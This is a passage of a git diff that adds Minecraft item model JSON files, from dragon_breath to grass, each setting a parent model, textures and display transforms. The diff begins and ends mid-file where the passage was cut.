"minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dragon_breath.json b/src/assets/minecraft/models/item/dragon_breath.json new file mode 100644 index 00000000..424980b1 --- /dev/null +++ b/src/assets/minecraft/models/item/dragon_breath.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/dragon_breath" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dragon_egg.json b/src/assets/minecraft/models/item/dragon_egg.json new file mode 100644 index 00000000..1570a78a --- /dev/null +++ b/src/assets/minecraft/models/item/dragon_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/dragon_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dragon_head.json b/src/assets/minecraft/models/item/dragon_head.json new file mode 100644 index 00000000..86264762 --- /dev/null +++ b/src/assets/minecraft/models/item/dragon_head.json @@ -0,0 +1,15 @@ +{ + "parent": "item/template_skull", + "display": { + "gui": { + "translation": [ -2, 2, 0 ], + "rotation": [ 30, 45, 0 ], + "scale": [ 0.6, 0.6, 0.6 ] + }, + "thirdperson_righthand": { + "rotation": [ 0, 180, 0 ], + "translation": [ 0, -1, 2 ], + "scale": [ 0.5, 0.5, 0.5 ] + } + } +} diff --git a/src/assets/minecraft/models/item/dried_kelp.json b/src/assets/minecraft/models/item/dried_kelp.json new file mode 100644 index 00000000..a4e4efff --- /dev/null +++ b/src/assets/minecraft/models/item/dried_kelp.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/dried_kelp" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dried_kelp_block.json b/src/assets/minecraft/models/item/dried_kelp_block.json new file mode 100644 index 00000000..2f3f1c32 --- /dev/null +++ b/src/assets/minecraft/models/item/dried_kelp_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/dried_kelp_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dropper.json b/src/assets/minecraft/models/item/dropper.json new file mode 100644 index 00000000..a8b40e59 --- /dev/null +++ b/src/assets/minecraft/models/item/dropper.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/dropper" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/drowned_spawn_egg.json b/src/assets/minecraft/models/item/drowned_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/drowned_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/egg.json b/src/assets/minecraft/models/item/egg.json new file mode 100644 index 00000000..86ec3cae --- /dev/null +++ b/src/assets/minecraft/models/item/egg.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/egg" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/elder_guardian_spawn_egg.json b/src/assets/minecraft/models/item/elder_guardian_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/elder_guardian_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/elytra.json b/src/assets/minecraft/models/item/elytra.json new file mode 100644 index 00000000..3909ded5 --- /dev/null +++ b/src/assets/minecraft/models/item/elytra.json @@ -0,0 +1,14 @@ +{ + "parent": "item/generated", + "textures": { + "layer0": "item/elytra" + }, + "overrides": [ + { + "predicate": { + "broken": 1 + }, + "model": "item/broken_elytra" + } + ] +} diff --git a/src/assets/minecraft/models/item/emerald.json b/src/assets/minecraft/models/item/emerald.json new file mode 100644 index 00000000..4f19c1d9 --- /dev/null +++ b/src/assets/minecraft/models/item/emerald.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/emerald" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/emerald_block.json b/src/assets/minecraft/models/item/emerald_block.json new file mode 100644 index 00000000..27c3713a --- /dev/null +++ b/src/assets/minecraft/models/item/emerald_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/emerald_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/emerald_ore.json b/src/assets/minecraft/models/item/emerald_ore.json new file mode 100644 index 00000000..3569bde1 --- /dev/null +++ b/src/assets/minecraft/models/item/emerald_ore.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/emerald_ore" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/enchanted_book.json b/src/assets/minecraft/models/item/enchanted_book.json new file mode 100644 index 00000000..b6a35e57 --- /dev/null +++ b/src/assets/minecraft/models/item/enchanted_book.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/enchanted_book" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/enchanted_golden_apple.json b/src/assets/minecraft/models/item/enchanted_golden_apple.json new file mode 100644 index 00000000..868c9219 --- /dev/null +++ b/src/assets/minecraft/models/item/enchanted_golden_apple.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/golden_apple" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/enchanting_table.json b/src/assets/minecraft/models/item/enchanting_table.json new file mode 100644 index 00000000..9f76fca2 --- /dev/null +++ b/src/assets/minecraft/models/item/enchanting_table.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/enchanting_table" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/end_crystal.json b/src/assets/minecraft/models/item/end_crystal.json new file mode 100644 index 00000000..15aa5897 --- /dev/null +++ b/src/assets/minecraft/models/item/end_crystal.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/end_crystal" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/end_portal_frame.json b/src/assets/minecraft/models/item/end_portal_frame.json new file mode 100644 index 00000000..718814c2 --- /dev/null +++ b/src/assets/minecraft/models/item/end_portal_frame.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/end_portal_frame" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/end_rod.json b/src/assets/minecraft/models/item/end_rod.json new file mode 100644 index 00000000..809dec3f --- /dev/null +++ b/src/assets/minecraft/models/item/end_rod.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/end_rod" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/end_stone.json b/src/assets/minecraft/models/item/end_stone.json new file mode 100644 index 00000000..fc4cf92a --- /dev/null +++ b/src/assets/minecraft/models/item/end_stone.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/end_stone" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/end_stone_brick_slab.json b/src/assets/minecraft/models/item/end_stone_brick_slab.json new file mode 100644 index 00000000..3daf7072 --- /dev/null +++ b/src/assets/minecraft/models/item/end_stone_brick_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/end_stone_brick_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/end_stone_brick_stairs.json b/src/assets/minecraft/models/item/end_stone_brick_stairs.json new file mode 100644 index 00000000..b43fdfe6 --- /dev/null +++ b/src/assets/minecraft/models/item/end_stone_brick_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/end_stone_brick_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/end_stone_brick_wall.json b/src/assets/minecraft/models/item/end_stone_brick_wall.json new file mode 100644 index 00000000..a0a4f843 --- /dev/null +++ b/src/assets/minecraft/models/item/end_stone_brick_wall.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/end_stone_brick_wall_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/end_stone_bricks.json b/src/assets/minecraft/models/item/end_stone_bricks.json new file mode 100644 index 00000000..a0bb1b98 --- /dev/null +++ b/src/assets/minecraft/models/item/end_stone_bricks.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/end_stone_bricks" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/ender_chest.json b/src/assets/minecraft/models/item/ender_chest.json new file mode 100644 index 00000000..58aba338 --- /dev/null +++ b/src/assets/minecraft/models/item/ender_chest.json @@ -0,0 +1,6 @@ +{ + "parent": "item/chest", + "textures": { + "particle": "block/obsidian" + } +} diff --git a/src/assets/minecraft/models/item/ender_eye.json b/src/assets/minecraft/models/item/ender_eye.json new file mode 100644 index 00000000..d29cc4e0 --- /dev/null +++ b/src/assets/minecraft/models/item/ender_eye.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/ender_eye" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/ender_pearl.json b/src/assets/minecraft/models/item/ender_pearl.json new file mode 100644 index 00000000..e6ccd02f --- /dev/null +++ b/src/assets/minecraft/models/item/ender_pearl.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/ender_pearl" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/enderman_spawn_egg.json b/src/assets/minecraft/models/item/enderman_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/enderman_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/endermite_spawn_egg.json b/src/assets/minecraft/models/item/endermite_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/endermite_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/evoker_spawn_egg.json b/src/assets/minecraft/models/item/evoker_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/evoker_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/experience_bottle.json b/src/assets/minecraft/models/item/experience_bottle.json new file mode 100644 index 00000000..22a77fe7 --- /dev/null +++ b/src/assets/minecraft/models/item/experience_bottle.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/experience_bottle" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/farmland.json b/src/assets/minecraft/models/item/farmland.json new file mode 100644 index 00000000..1c5eceae --- /dev/null +++ b/src/assets/minecraft/models/item/farmland.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/farmland" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/feather.json b/src/assets/minecraft/models/item/feather.json new file mode 100644 index 00000000..1b88f92d --- /dev/null +++ b/src/assets/minecraft/models/item/feather.json @@ -0,0 +1,13 @@ +{ + "parent": "item/generated", + "textures": { + "layer0": "item/feather" + }, + "display": { + "head": { + "rotation": [ 0, 0, 45 ], + "translation": [ -1, 13, 7], + "scale":[ 1, 1, 1] + } + } +} diff --git a/src/assets/minecraft/models/item/fermented_spider_eye.json b/src/assets/minecraft/models/item/fermented_spider_eye.json new file mode 100644 index 00000000..06bbefce --- /dev/null +++ b/src/assets/minecraft/models/item/fermented_spider_eye.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/fermented_spider_eye" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/fern.json b/src/assets/minecraft/models/item/fern.json new file mode 100644 index 00000000..851ce5d3 --- /dev/null +++ b/src/assets/minecraft/models/item/fern.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/fern" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/filled_map.json b/src/assets/minecraft/models/item/filled_map.json new file mode 100644 index 00000000..077d2530 --- /dev/null +++ b/src/assets/minecraft/models/item/filled_map.json @@ -0,0 +1,7 @@ +{ + "parent": "item/generated", + "textures": { + "layer0": "item/filled_map", + "layer1": "item/filled_map_markings" + } +} diff --git a/src/assets/minecraft/models/item/fire_charge.json b/src/assets/minecraft/models/item/fire_charge.json new file mode 100644 index 00000000..27d3f0d8 --- /dev/null +++ b/src/assets/minecraft/models/item/fire_charge.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/fire_charge" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/fire_coral.json b/src/assets/minecraft/models/item/fire_coral.json new file mode 100644 index 00000000..8585f4c8 --- /dev/null +++ b/src/assets/minecraft/models/item/fire_coral.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/fire_coral" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/fire_coral_block.json b/src/assets/minecraft/models/item/fire_coral_block.json new file mode 100644 index 00000000..eebe05e1 --- /dev/null +++ b/src/assets/minecraft/models/item/fire_coral_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/fire_coral_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/fire_coral_fan.json b/src/assets/minecraft/models/item/fire_coral_fan.json new file mode 100644 index 00000000..c27e2d3a --- /dev/null +++ b/src/assets/minecraft/models/item/fire_coral_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/fire_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/firework_rocket.json b/src/assets/minecraft/models/item/firework_rocket.json new file mode 100644 index 00000000..cb7cf197 --- /dev/null +++ b/src/assets/minecraft/models/item/firework_rocket.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/firework_rocket" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/firework_star.json b/src/assets/minecraft/models/item/firework_star.json new file mode 100644 index 00000000..4e2e9fe8 --- /dev/null +++ b/src/assets/minecraft/models/item/firework_star.json @@ -0,0 +1,7 @@ +{ + "parent": "item/generated", + "textures": { + "layer0": "item/firework_star", + "layer1": "item/firework_star_overlay" + } +} diff --git a/src/assets/minecraft/models/item/fishing_rod.json b/src/assets/minecraft/models/item/fishing_rod.json new file mode 100644 index 00000000..6d52bb97 --- /dev/null +++ b/src/assets/minecraft/models/item/fishing_rod.json @@ -0,0 +1,14 @@ +{ + "parent": "item/handheld_rod", + "textures": { + "layer0": "item/fishing_rod" + }, + "overrides": [ + { + "predicate": { + "cast": 1 + }, + "model": "item/fishing_rod_cast" + } + ] +} diff --git a/src/assets/minecraft/models/item/fishing_rod_cast.json b/src/assets/minecraft/models/item/fishing_rod_cast.json new file mode 100644 index 00000000..55c2a525 --- /dev/null +++ b/src/assets/minecraft/models/item/fishing_rod_cast.json @@ -0,0 +1,6 @@ +{ + "parent": "item/fishing_rod", + "textures": { + "layer0": "item/fishing_rod_cast" + } +} diff --git a/src/assets/minecraft/models/item/fletching_table.json b/src/assets/minecraft/models/item/fletching_table.json new file mode 100644 index 00000000..bc2b1bdc --- /dev/null +++ b/src/assets/minecraft/models/item/fletching_table.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/fletching_table" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/flint.json b/src/assets/minecraft/models/item/flint.json new file mode 100644 index 00000000..3a557295 --- /dev/null +++ b/src/assets/minecraft/models/item/flint.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/flint" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/flint_and_steel.json b/src/assets/minecraft/models/item/flint_and_steel.json new file mode 100644 index 00000000..d11a12a9 --- /dev/null +++ b/src/assets/minecraft/models/item/flint_and_steel.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/flint_and_steel" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/flower_banner_pattern.json b/src/assets/minecraft/models/item/flower_banner_pattern.json new file mode 100644 index 00000000..ea8b8215 --- /dev/null +++ b/src/assets/minecraft/models/item/flower_banner_pattern.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/flower_banner_pattern" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/flower_pot.json b/src/assets/minecraft/models/item/flower_pot.json new file mode 100644 index 00000000..e50e0fa1 --- /dev/null +++ b/src/assets/minecraft/models/item/flower_pot.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/flower_pot" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/fox_spawn_egg.json b/src/assets/minecraft/models/item/fox_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/fox_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/furnace.json b/src/assets/minecraft/models/item/furnace.json new file mode 100644 index 00000000..593027e9 --- /dev/null +++ b/src/assets/minecraft/models/item/furnace.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/furnace" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/furnace_minecart.json b/src/assets/minecraft/models/item/furnace_minecart.json new file mode 100644 index 00000000..e3e6f222 --- /dev/null +++ b/src/assets/minecraft/models/item/furnace_minecart.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/furnace_minecart" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/generated.json b/src/assets/minecraft/models/item/generated.json new file mode 100644 index 00000000..89aa79e9 --- /dev/null +++ b/src/assets/minecraft/models/item/generated.json @@ -0,0 +1,30 @@ +{ + "parent": "builtin/generated", + "gui_light": "front", + "display": { + "ground": { + "rotation": [ 0, 0, 0 ], + "translation": [ 0, 2, 0], + "scale":[ 0.5, 0.5, 0.5 ] + }, + "head": { + "rotation": [ 0, 180, 0 ], + "translation": [ 0, 13, 7], + "scale":[ 1, 1, 1] + }, + "thirdperson_righthand": { + "rotation": [ 0, 0, 0 ], + "translation": [ 0, 3, 1 ], + "scale": [ 0.55, 0.55, 0.55 ] + }, + "firstperson_righthand": { + "rotation": [ 0, -90, 25 ], + "translation": [ 1.13, 3.2, 1.13], + "scale": [ 0.68, 0.68, 0.68 ] + }, + "fixed": { + "rotation": [ 0, 180, 0 ], + "scale": [ 1, 1, 1 ] + } + } +} diff --git a/src/assets/minecraft/models/item/ghast_spawn_egg.json b/src/assets/minecraft/models/item/ghast_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/ghast_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/ghast_tear.json b/src/assets/minecraft/models/item/ghast_tear.json new file mode 100644 index 00000000..d7d6e6f3 --- /dev/null +++ b/src/assets/minecraft/models/item/ghast_tear.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/ghast_tear" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/gilded_blackstone.json b/src/assets/minecraft/models/item/gilded_blackstone.json new file mode 100644 index 00000000..a0779ccd --- /dev/null +++ b/src/assets/minecraft/models/item/gilded_blackstone.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/gilded_blackstone" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/glass.json b/src/assets/minecraft/models/item/glass.json new file mode 100644 index 00000000..65825434 --- /dev/null +++ b/src/assets/minecraft/models/item/glass.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/glass" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/glass_bottle.json b/src/assets/minecraft/models/item/glass_bottle.json new file mode 100644 index 00000000..9b4ab510 --- /dev/null +++ b/src/assets/minecraft/models/item/glass_bottle.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/glass_bottle" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/glass_pane.json b/src/assets/minecraft/models/item/glass_pane.json new file mode 100644 index 00000000..de799dcf --- /dev/null +++ b/src/assets/minecraft/models/item/glass_pane.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/glistering_melon_slice.json b/src/assets/minecraft/models/item/glistering_melon_slice.json new file mode 100644 index 00000000..90c290a0 --- /dev/null +++ b/src/assets/minecraft/models/item/glistering_melon_slice.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/glistering_melon_slice" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/globe_banner_pattern.json b/src/assets/minecraft/models/item/globe_banner_pattern.json new file mode 100644 index 00000000..3948f16f --- /dev/null +++ b/src/assets/minecraft/models/item/globe_banner_pattern.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/globe_banner_pattern" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/glowstone.json b/src/assets/minecraft/models/item/glowstone.json new file mode 100644 index 00000000..5567a887 --- /dev/null +++ b/src/assets/minecraft/models/item/glowstone.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/glowstone" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/glowstone_dust.json b/src/assets/minecraft/models/item/glowstone_dust.json new file mode 100644 index 00000000..4b78f60b --- /dev/null +++ b/src/assets/minecraft/models/item/glowstone_dust.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/glowstone_dust" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/gold_block.json b/src/assets/minecraft/models/item/gold_block.json new file mode 100644 index 00000000..f9cefd04 --- /dev/null +++ b/src/assets/minecraft/models/item/gold_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/gold_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/gold_ingot.json b/src/assets/minecraft/models/item/gold_ingot.json new file mode 100644 index 00000000..230e3111 --- /dev/null +++ b/src/assets/minecraft/models/item/gold_ingot.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/gold_ingot" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/gold_nugget.json b/src/assets/minecraft/models/item/gold_nugget.json new file mode 100644 index 00000000..3da43c93 --- /dev/null +++ b/src/assets/minecraft/models/item/gold_nugget.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/gold_nugget" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/gold_ore.json b/src/assets/minecraft/models/item/gold_ore.json new file mode 100644 index 00000000..64c16453 --- /dev/null +++ b/src/assets/minecraft/models/item/gold_ore.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/gold_ore" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/golden_apple.json b/src/assets/minecraft/models/item/golden_apple.json new file mode 100644 index 00000000..868c9219 --- /dev/null +++ b/src/assets/minecraft/models/item/golden_apple.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/golden_apple" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/golden_axe.json b/src/assets/minecraft/models/item/golden_axe.json new file mode 100644 index 00000000..42008eea --- /dev/null +++ b/src/assets/minecraft/models/item/golden_axe.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/golden_axe" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/golden_boots.json b/src/assets/minecraft/models/item/golden_boots.json new file mode 100644 index 00000000..24f3c587 --- /dev/null +++ b/src/assets/minecraft/models/item/golden_boots.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/golden_boots" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/golden_carrot.json b/src/assets/minecraft/models/item/golden_carrot.json new file mode 100644 index 00000000..8d36365f --- /dev/null +++ b/src/assets/minecraft/models/item/golden_carrot.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/golden_carrot" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/golden_chestplate.json b/src/assets/minecraft/models/item/golden_chestplate.json new file mode 100644 index 00000000..8c7b0bbf --- /dev/null +++ b/src/assets/minecraft/models/item/golden_chestplate.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/golden_chestplate" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/golden_helmet.json b/src/assets/minecraft/models/item/golden_helmet.json new file mode 100644 index 00000000..d0c08156 --- /dev/null +++ b/src/assets/minecraft/models/item/golden_helmet.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/golden_helmet" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/golden_hoe.json b/src/assets/minecraft/models/item/golden_hoe.json new file mode 100644 index 00000000..7d2a2e5d --- /dev/null +++ b/src/assets/minecraft/models/item/golden_hoe.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/golden_hoe" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/golden_horse_armor.json b/src/assets/minecraft/models/item/golden_horse_armor.json new file mode 100644 index 00000000..9fbc0e90 --- /dev/null +++ b/src/assets/minecraft/models/item/golden_horse_armor.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/golden_horse_armor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/golden_leggings.json b/src/assets/minecraft/models/item/golden_leggings.json new file mode 100644 index 00000000..cb5bd0e6 --- /dev/null +++ b/src/assets/minecraft/models/item/golden_leggings.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/golden_leggings" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/golden_pickaxe.json b/src/assets/minecraft/models/item/golden_pickaxe.json new file mode 100644 index 00000000..185c855b --- /dev/null +++ b/src/assets/minecraft/models/item/golden_pickaxe.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/golden_pickaxe" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/golden_shovel.json b/src/assets/minecraft/models/item/golden_shovel.json new file mode 100644 index 00000000..c2d1dc00 --- /dev/null +++ b/src/assets/minecraft/models/item/golden_shovel.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/golden_shovel" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/golden_sword.json b/src/assets/minecraft/models/item/golden_sword.json new file mode 100644 index 00000000..02e54097 --- /dev/null +++ b/src/assets/minecraft/models/item/golden_sword.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/golden_sword" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/granite.json b/src/assets/minecraft/models/item/granite.json new file mode 100644 index 00000000..4dd54d02 --- /dev/null +++ b/src/assets/minecraft/models/item/granite.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/granite" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/granite_slab.json b/src/assets/minecraft/models/item/granite_slab.json new file mode 100644 index 00000000..95ee6109 --- /dev/null +++ b/src/assets/minecraft/models/item/granite_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/granite_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/granite_stairs.json b/src/assets/minecraft/models/item/granite_stairs.json new file mode 100644 index 00000000..68b4e669 --- /dev/null +++ b/src/assets/minecraft/models/item/granite_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/granite_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/granite_wall.json b/src/assets/minecraft/models/item/granite_wall.json new file mode 100644 index 00000000..de494270 --- /dev/null +++ b/src/assets/minecraft/models/item/granite_wall.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/granite_wall_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/grass.json b/src/assets/minecraft/models/item/grass.json new file mode 100644 index 00000000..7a4d5e7b --- /dev/null +++ b/src/assets/minecraft/models/item/grass.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/grass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/grass_block.json 